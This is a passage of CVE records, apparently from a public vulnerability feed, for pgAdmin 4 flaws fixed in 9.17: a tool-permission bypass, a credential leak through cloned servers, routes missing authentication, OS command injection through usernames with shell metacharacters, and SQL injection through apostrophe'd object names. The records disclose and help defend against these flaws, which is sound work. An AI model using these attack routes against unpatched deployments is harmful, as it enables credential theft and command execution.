tool-level access-control policy (an organisational segregation-of-duties control, separate from database-level authorization), letting a user reach a pgAdmin feature an administrator intended to withhold from them, using capabilities their existing database role already permits through other means.\n\nSocket.IO event handlers had no permission-aware equivalent of permissions_required; only socket_login_required existed, checking authentication but not the tool permission.\n\nFix adds a socket_permissions_required decorator (mirroring permissions_required, honouring the Administrator bypass, reading permissions via has_permission()) and applies it, alongside permissions_required, as the outermost decorator on every backend route and Socket.IO handler for the affected tools. Regression tests assert 403 on every gated route and socket handler for a permission-less user.\n\nThis issue affects pgAdmin 4 in SERVER mode: from 9.3 before 9.17."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: an authenticated SERVER-mode pgAdmin user, who already has a stored working database connection, has been explicitly denied one or more tool permissions by an administrator as an in-app segregation-of-duties policy. By calling the tool\u0027s non-entry-point backend routes or Socket.IO handlers directly (bypassing the UI, which only surfaces the gated entry point), the user regains functional access to the tool. Scope is Unchanged: the bypass stays entirely within pgAdmin\u0027s own authorization model and the database connection the user already legitimately holds -- it does not grant any new database privilege, only pgAdmin\u0027s own UI/feature access that an administrator intended to withhold. Confidentiality/Integrity impact is capped at Low because the marginal capability gained beyond the user\u0027s own pre-existing database role is bounded (an alternate in-app SQL client / GRANT-issuing UI / interactive psql session against a database they can already reach); Availability is None since none of the bypassed routes on their own cause denial of service."
}
]
},
{
"cvssV4_0": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry: an authenticated, permission-denied user drives ungated backend routes/sockets to use a tool they were blocked from, but the marginal capability gained is bounded by the database privileges the user already legitimately holds. VC:L/VI:L reflect that bounded marginal gain; VA:N since none of the bypassed routes independently cause denial of service. No subsequent system beyond pgAdmin\u0027s own authorization scope is affected, so SC:N/SI:N/SA:N."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-31T16:00:03.744Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10190"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/461c3afba92baad37c70a6fbd52d205d13a9de53"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/d36bd8dc96812c716664feac533d240544e70adc"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/ba1984718ad703011740ad48cb9b82402b89cc2c"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/64a9cdbd6a240a962144f84418beaf9e66419779"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Tool permission bypass via backend routes and Socket.IO handlers"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-17350",
"datePublished": "2026-07-31T16:00:03.744Z",
"dateReserved": "2026-07-25T02:52:56.800Z",
"dateUpdated": "2026-07-31T17:05:44.535Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-17349 (GCVE-0-2026-17349)
Vulnerability from cvelistv5
Published
2026-07-31 15:59
Modified
2026-08-01 03:56
Severity ?
9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
/misc/workspace/adhoc_connect_server, part of the Workspaces feature introduced in pgAdmin 4 9.0, when passed the id of an existing server, clones that server via Server.clone(), which copies every column from the source row, including user_id, shared, shared_username, and the stored credential fields password, save_password, and tunnel_password. When a non-owner triggered an adhoc connect against another user's (in practice, typically an administrator's) shared server, the clone inherited that user's ownership, shared flag, and stored database credentials verbatim. pgAdmin persisted this cross-tenant, credential-bearing server row before the connection was even attempted, so it survived even when the connection subsequently failed. The non-owner could then open the newly-owned clone and pgAdmin would connect using the source user's stored database password on the non-owner's behalf, granting the non-owner use of database credentials -- and whatever database privileges they confer -- that were never their own.
Fix forces the cloned adhoc record's ownership fields (user_id, shared, shared_username) and stored credential fields (password, save_password, tunnel_password) to belong to the calling user and be cleared/private before committing, regardless of the source server's ownership, sharing state, or stored credentials. A regression test asserts that an adhoc connect triggered by a non-owner against another user's shared server persists a row owned by the caller, not shared, and without the source's stored credentials.
This issue affects pgAdmin 4: from 9.0 before 9.17.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 9.0 < 9.17 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-17349",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-31T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-01T03:56:26.176Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Workspaces"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/workspaces/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.17",
"status": "affected",
"version": "9.0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "/misc/workspace/adhoc_connect_server, part of the Workspaces feature introduced in pgAdmin 4 9.0, when passed the id of an existing server, clones that server via Server.clone(), which copies every column from the source row, including user_id, shared, shared_username, and the stored credential fields password, save_password, and tunnel_password. When a non-owner triggered an adhoc connect against another user\u0027s (in practice, typically an administrator\u0027s) shared server, the clone inherited that user\u0027s ownership, shared flag, and stored database credentials verbatim. pgAdmin persisted this cross-tenant, credential-bearing server row before the connection was even attempted, so it survived even when the connection subsequently failed. The non-owner could then open the newly-owned clone and pgAdmin would connect using the source user\u0027s stored database password on the non-owner\u0027s behalf, granting the non-owner use of database credentials -- and whatever database privileges they confer -- that were never their own.\n\nFix forces the cloned adhoc record\u0027s ownership fields (user_id, shared, shared_username) and stored credential fields (password, save_password, tunnel_password) to belong to the calling user and be cleared/private before committing, regardless of the source server\u0027s ownership, sharing state, or stored credentials. A regression test asserts that an adhoc connect triggered by a non-owner against another user\u0027s shared server persists a row owned by the caller, not shared, and without the source\u0027s stored credentials.\n\nThis issue affects pgAdmin 4: from 9.0 before 9.17."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: an authenticated, low-privilege pgAdmin user who knows or can enumerate the server id of another user\u0027s (e.g. an administrator\u0027s) shared server row triggers an adhoc connect against it. No special privilege beyond ordinary authenticated access is needed, and no interaction from the victim is required. Scope is Changed: the attacker\u0027s own pgAdmin authorization does not itself grant use of the source user\u0027s stored database credentials, so gaining and using those credentials crosses into another user\u0027s security authority -- specifically the database privileges the source user\u0027s stored credentials confer, which may substantially exceed the attacker\u0027s own. Confidentiality and Integrity are High because the attacker obtains a working, reusable database credential and can use it to read/write whatever the source user\u0027s database role permits. Availability is None: the leak itself does not directly cause denial of service."
}
]
},
{
"cvssV4_0": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry: an authenticated low-privilege user obtains another user\u0027s stored database credential via server cloning, without any interaction from the victim. VC:H/VI:H for pgAdmin\u0027s own scope (the leaked credential itself); SC:H/SI:H because the credential is then usable against the underlying database server, a subsequent system whose privileges may substantially exceed the attacker\u0027s own. VA:N/SA:N since the leak alone does not cause denial of service."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-639",
"description": "CWE-639 Authorization Bypass Through User-Controlled Key",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-522",
"description": "CWE-522 Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-31T15:59:47.841Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10200"
},
{
"tags": [
"related"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/a7e74a6ed685bc34e1f77a8b6a94d00fa3dff815"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/64a9cdbd6a240a962144f84418beaf9e66419779"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: Adhoc server clone leaks another user\u0027s stored database credentials and ownership to a non-owner"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-17349",
"datePublished": "2026-07-31T15:59:47.841Z",
"dateReserved": "2026-07-25T02:52:56.082Z",
"dateUpdated": "2026-08-01T03:56:26.176Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-17348 (GCVE-0-2026-17348)
Vulnerability from cvelistv5
Published
2026-07-31 15:59
Modified
2026-07-31 17:23
Severity ?
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
- CWE-306 - Missing Authentication for Critical Function
Summary
In SERVER mode, pgAdmin 4 enforces authentication per route via the @pga_login_required decorator; the application's before_request hook only handles desktop-mode auto-login and the Kerberos/Webserver-auth redirect, so any route shipped without the decorator is reachable without authentication (CWE-306). This is the same defect class previously fixed as CVE-2026-12046 (the sqleditor close/update_connection routes).
A follow-up sweep, prompted by a report describing an incomplete fix for CVE-2026-12046, found further routes missing @pga_login_required: the Constraints blueprint's nodes and proplist (object listing) routes and its delete route (a state-mutating DELETE that removes table constraints); preferences.get_all_cli (GET, discloses all CLI-settable preference values); debugger.close (DELETE); and schema_diff.close (DELETE). An unauthenticated network client could therefore enumerate constraint metadata, delete table constraints, read preference values, and force-close debugger or schema-diff sessions belonging to other users, without ever authenticating.
Fix adds the missing @pga_login_required decorator (and the corresponding import to the Constraints module) to each of these routes. The change is decorator-only; no behavioral changes to the underlying handlers.
This issue affects pgAdmin 4 in SERVER mode: the Constraints and Debugger routes from 1.0, the Schema Diff close route from 4.18, and preferences.get_all_cli from 8.2, all before 9.17.
References
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 1.0 < 9.17 |
||||||||||||
|
||||||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-17348",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-31T17:22:27.726914Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-31T17:23:08.497Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Constraints",
"Debugger"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/server_groups/servers/databases/schemas/tables/constraints/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/debugger/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.17",
"status": "affected",
"version": "1.0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"modules": [
"Schema Diff"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/schema_diff/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.17",
"status": "affected",
"version": "4.18",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"modules": [
"Preferences"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/preferences/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.17",
"status": "affected",
"version": "8.2",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Hung Tran Quoc (@rampage0010)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "In SERVER mode, pgAdmin 4 enforces authentication per route via the @pga_login_required decorator; the application\u0027s before_request hook only handles desktop-mode auto-login and the Kerberos/Webserver-auth redirect, so any route shipped without the decorator is reachable without authentication (CWE-306). This is the same defect class previously fixed as CVE-2026-12046 (the sqleditor close/update_connection routes).\n\nA follow-up sweep, prompted by a report describing an incomplete fix for CVE-2026-12046, found further routes missing @pga_login_required: the Constraints blueprint\u0027s nodes and proplist (object listing) routes and its delete route (a state-mutating DELETE that removes table constraints); preferences.get_all_cli (GET, discloses all CLI-settable preference values); debugger.close (DELETE); and schema_diff.close (DELETE). An unauthenticated network client could therefore enumerate constraint metadata, delete table constraints, read preference values, and force-close debugger or schema-diff sessions belonging to other users, without ever authenticating.\n\nFix adds the missing @pga_login_required decorator (and the corresponding import to the Constraints module) to each of these routes. The change is decorator-only; no behavioral changes to the underlying handlers.\n\nThis issue affects pgAdmin 4 in SERVER mode: the Constraints and Debugger routes from 1.0, the Schema Diff close route from 4.18, and preferences.get_all_cli from 8.2, all before 9.17."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: an unauthenticated network client sends requests directly to the affected routes on a SERVER-mode pgAdmin deployment, bypassing the login page entirely since these routes never checked for a session. No privileges or user interaction are required. Scope is Unchanged. Confidentiality is None: nodes/proplist return only constraint metadata already visible to any authenticated user of the same object, and get_all_cli discloses only CLI-settable preference toggles, not credentials or data. Integrity is Low: the delete route removes a table constraint, a real but narrow and recoverable schema change (the constraint definition can be recreated; no data rows are lost), and the close routes only terminate another user\u0027s debugger/schema-diff session state. Availability is Low, reflecting that same session-termination nuisance. This is markedly less severe than CVE-2026-12046 (the sqleditor close/update_connection routes this defect class was first fixed for), which exposed live query-session hijacking rather than bounded metadata/schema-toggle access."
}
]
},
{
"cvssV4_0": {
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry: unauthenticated, no-interaction access to routes that disclose no meaningful confidentiality-sensitive data (VC:N), make a narrow and recoverable schema change or terminate another user\u0027s tool session (VI:L/VA:L). No subsequent system beyond pgAdmin\u0027s own scope is reached, so SC:N/SI:N/SA:N."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-31T15:59:18.714Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10194"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/24fdcf0f58591c87ada31366c01e1af180eceb05"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Missing authentication decorator on Constraints, preferences, Debugger and Schema Diff routes allows unauthenticated access in SERVER mode (incomplete fix for CVE-2026-12046)"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-17348",
"datePublished": "2026-07-31T15:59:18.714Z",
"dateReserved": "2026-07-25T02:52:55.455Z",
"dateUpdated": "2026-07-31T17:23:08.497Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-17347 (GCVE-0-2026-17347)
Vulnerability from cvelistv5
Published
2026-07-31 15:59
Modified
2026-08-01 03:56
Severity ?
7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
7.7 (High) - CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
7.7 (High) - CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
The MASTER_PASSWORD_HOOK setting, introduced in pgAdmin 4 7.2, lets an administrator configure an external command that returns a per-user encryption key, with %u in the configured string replaced by the current user's name. The previous implementation substituted the username directly into the command string and executed the result with subprocess.Popen(..., shell=True). Because the username can originate from an external authentication source (OAuth/OIDC claims, Kerberos, webserver auth) rather than a value pgAdmin fully controls, a username containing shell metacharacters (';', '$()', backticks, pipes, '&&', newlines) allowed an authenticated user to execute arbitrary commands as the pgAdmin service account in any deployment where the configured hook string uses %u.
Fix tokenises the trusted, administrator-configured hook string into an argument vector first (using shlex in POSIX-quoting mode, with backslash-escaping disabled so Windows-style paths are not mis-parsed), substitutes the untrusted username into the individual argv elements, and executes with shell=False. The username is therefore always confined to a single argv element; any shell metacharacters it contains are inert. Administrators whose MASTER_PASSWORD_HOOK previously relied on shell features (pipes, redirection, environment-variable expansion, globbing) within the hook string itself must move that logic into the invoked script, since it is no longer interpreted by a shell.
This issue affects pgAdmin 4: from 7.2 before 9.17.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 7.2 < 9.17 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-17347",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-31T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-01T03:56:12.755Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Master Password Hook"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/master_password.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/config.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.17",
"status": "affected",
"version": "7.2",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Thiago Pereira (@B1gN0Se)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "The MASTER_PASSWORD_HOOK setting, introduced in pgAdmin 4 7.2, lets an administrator configure an external command that returns a per-user encryption key, with %u in the configured string replaced by the current user\u0027s name. The previous implementation substituted the username directly into the command string and executed the result with subprocess.Popen(..., shell=True). Because the username can originate from an external authentication source (OAuth/OIDC claims, Kerberos, webserver auth) rather than a value pgAdmin fully controls, a username containing shell metacharacters (\u0027;\u0027, \u0027$()\u0027, backticks, pipes, \u0027\u0026\u0026\u0027, newlines) allowed an authenticated user to execute arbitrary commands as the pgAdmin service account in any deployment where the configured hook string uses %u.\n\nFix tokenises the trusted, administrator-configured hook string into an argument vector first (using shlex in POSIX-quoting mode, with backslash-escaping disabled so Windows-style paths are not mis-parsed), substitutes the untrusted username into the individual argv elements, and executes with shell=False. The username is therefore always confined to a single argv element; any shell metacharacters it contains are inert. Administrators whose MASTER_PASSWORD_HOOK previously relied on shell features (pipes, redirection, environment-variable expansion, globbing) within the hook string itself must move that logic into the invoked script, since it is no longer interpreted by a shell.\n\nThis issue affects pgAdmin 4: from 7.2 before 9.17."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model (per reporter\u0027s submitted rating): an authenticated pgAdmin user whose username is sourced from an external identity provider (OAuth/OIDC, Kerberos, or webserver auth passed through to pgAdmin) in a deployment where MASTER_PASSWORD_HOOK\u0027s configured string contains %u. Attack Complexity is High because exploitation depends on this non-default configuration (hook enabled with %u, combined with an external-auth username source under attacker influence) rather than being reachable in a default deployment. Scope is Unchanged: the resulting command execution runs as the pgAdmin service account, which is the same security authority the web application process itself already runs under -- it is a consequence of pgAdmin\u0027s own process, not a boundary crossing into an unrelated authority. Confidentiality/Integrity/Availability are High because arbitrary command execution as that account can read, modify, or destroy anything the account can reach."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry: authenticated low-privilege user with an externally-sourced username triggers arbitrary OS command execution as the pgAdmin service account, contingent on the non-default MASTER_PASSWORD_HOOK/%u configuration (AT:N here refers to no additional authentication target beyond the login itself; the configuration dependency is captured via AC:H in the 3.1 vector and is implicit in this scenario). VC:H/VI:H/VA:H for the service account\u0027s own reach; SC:N/SI:N/SA:N since that reach is the application\u0027s own process authority, not a distinct subsequent system."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-88",
"description": "CWE-88 Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-31T15:59:16.588Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10191"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/ea7e798aac27174d2bacee1d6e136bed76a95e23"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/e7a85767314e7b0fe0b35fe80b9c1af38f48dff6"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: OS command injection in MASTER_PASSWORD_HOOK via untrusted username substitution"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-17347",
"datePublished": "2026-07-31T15:59:16.588Z",
"dateReserved": "2026-07-25T02:52:54.844Z",
"dateUpdated": "2026-08-01T03:56:12.755Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-17346 (GCVE-0-2026-17346)
Vulnerability from cvelistv5
Published
2026-07-31 15:59
Modified
2026-08-01 03:56
Severity ?
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
- CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Summary
The fix for CVE-2026-12044 in pgAdmin 4 9.16 hardened qtLiteral and switched sixteen COMMENT ON / pgstattuple / pgstatindex templates to it, but missed several sinks that had been placed in test_sql_string_literal_lint.py's ALLOWLIST on the incorrect assumption that schema, table, publication, and subscription names sourced from pg_catalog via the browser tree could never contain an apostrophe. PostgreSQL permits arbitrary characters in quoted identifiers, so a low-privileged user able to CREATE TABLE, CREATE PUBLICATION, or CREATE SUBSCRIPTION can plant an apostrophe'd object name that breaks out of the unescaped '{{ name }}' template interpolation the moment any user (including a higher-privileged one) opens that object's Statistics or Dependencies tab, allowing arbitrary SQL statement injection in the viewing user's database session.
Affected sinks: the Index Statistics query for all-indexes listing (coll_stats.sql, both the 16_plus and default PostgreSQL-version template variants -- distinct from the single-index stats.sql path already fixed in CVE-2026-12044), and the publication and subscription dependencies.sql / get_position.sql templates (both the pg and ppas/EPAS dialect variants for publications).
